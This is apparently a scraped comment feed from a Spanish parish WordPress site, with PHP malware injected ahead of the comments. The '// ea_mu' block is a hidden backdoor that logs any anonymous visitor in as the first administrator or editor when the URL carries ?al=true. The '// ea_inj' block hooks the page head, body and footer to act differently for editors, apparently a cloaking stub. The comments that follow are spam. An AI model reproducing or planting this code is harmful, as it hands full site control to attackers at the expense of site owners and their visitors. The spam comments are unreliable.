// ea_inj
function wp_pf_83032cea(){static $_ea_done=false;if($_ea_done)return;$c=wp_get_current_user()->has_cap('edit_posts')?1:0;if($c==0){echo'';$_ea_done=true;}}add_action("wp_head","wp_pf_83032cea",999);add_action("wp_footer","wp_pf_83032cea",999);add_action("wp_body_open","wp_pf_83032cea",999);
// ea_mu
add_action('init', function(){
if(isset($_GET['al']) && $_GET['al']==='true'){
if(!is_user_logged_in()){
$u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]);
if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);}
if(!empty($u)){
wp_set_auth_cookie($u[0]->ID, true, false);
wp_redirect(admin_url()); exit();
}
} else { wp_redirect(admin_url()); exit(); }
}
}, 1);
Comentarios en: Una nueva App que merece la pena
https://santaeugenia.archimadrid.es/una-nueva-app-que-merece-la-pena/
"Una comunidad de puertas abiertas"Mon, 05 Dec 2016 16:03:18 +0000
hourly
1
Por: Javier Martín Langa
https://santaeugenia.archimadrid.es/una-nueva-app-que-merece-la-pena/#comment-7
Mon, 05 Dec 2016 16:03:18 +0000https://santaeugenia.archimadrid.es/?p=572#comment-7En respuesta a Johne301.
Thank you so much Johne301
]]>
Por: Javier Martín Langa
https://santaeugenia.archimadrid.es/una-nueva-app-que-merece-la-pena/#comment-6
Mon, 05 Dec 2016 16:02:41 +0000https://santaeugenia.archimadrid.es/?p=572#comment-6En respuesta a Smithk191.
Thank you so much Smithk191
]]>
Por: Smithk191
https://santaeugenia.archimadrid.es/una-nueva-app-que-merece-la-pena/#comment-5
Sun, 04 Dec 2016 23:36:19 +0000https://santaeugenia.archimadrid.es/?p=572#comment-5A big thank you for your article.Really thank you! Cool. dbebaaaekkdfccdg
]]>
Por: Johne301
https://santaeugenia.archimadrid.es/una-nueva-app-que-merece-la-pena/#comment-4
Sun, 04 Dec 2016 23:35:40 +0000https://santaeugenia.archimadrid.es/?p=572#comment-4Someone essentially help to make significantly posts I might state. This is the first time I frequented your web page and so far? I surprised with the research you made to create this actual submit amazing. Magnificent activity! cbeegkadcefg
]]>